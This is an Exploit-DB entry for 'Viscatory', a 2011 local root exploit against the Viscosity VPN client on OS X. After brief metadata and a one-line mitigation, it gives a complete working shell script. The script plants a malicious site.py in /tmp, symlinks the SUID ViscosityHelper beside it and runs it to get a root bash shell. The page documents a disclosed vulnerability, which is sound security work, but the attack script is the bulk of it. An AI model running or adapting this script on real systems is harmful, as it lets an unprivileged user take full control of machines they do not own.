Viscatory

vendor:

Viscosity

by:

zx2c4

7,2

CVSS

HIGH

Local Privilege Escalation

264

CWE

Product Name: Viscosity

Affected Version From: Viscosity 1.0

Affected Version To: Viscosity 1.0

Patch Exists: NO

Related CWE: N/A

CPE: a:sparklabs:viscosity

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: OS X

2011

Viscatory is a local privilege escalation vulnerability in Viscosity, an OS X VPN client. The SUID helper will execute site.py in its enclosing folder, allowing a simple symlink to gain root access.

Mitigation:

Ensure that the SUID helper is not vulnerable to symlink attacks.

Source

Exploit-DB raw data:

#!/bin/sh
#
##########################
#       Viscatory        #
#                        #
#         zx2c4          #
##########################
#
# After the hullabaloo from the Tunnelblick local root, savy Mac users
# began defending Viscosity, another OS X VPN client. They figured, since
# they spent money on Viscosity, surely it would be better designed than
# the free open-source alternative.
#
# Unfortunately, this exploit took all of 2 minutes to find. DTrace for
# the win. Here, the SUID helper will execute site.py in its enclosing
# folder. A simple symlink, and we have root.
# 
# greets to jono
#
# Source: http://git.zx2c4.com/Viscatory/tree/viscatory.sh

echo "[+] Crafting payload."
mkdir -p -v /tmp/pwn
cat > /tmp/pwn/site.py <<_EOF
import os
print "[+] Cleaning up."
os.system("rm -rvf /tmp/pwn")
print "[+] Getting root."
os.setuid(0)
os.setgid(0)
os.execl("/bin/bash", "bash")
_EOF
echo "[+] Making symlink."
ln -s -f -v /Applications/Viscosity.app/Contents/Resources/ViscosityHelper /tmp/pwn/root
echo "[+] Running vulnerable SUID helper."
exec /tmp/pwn/root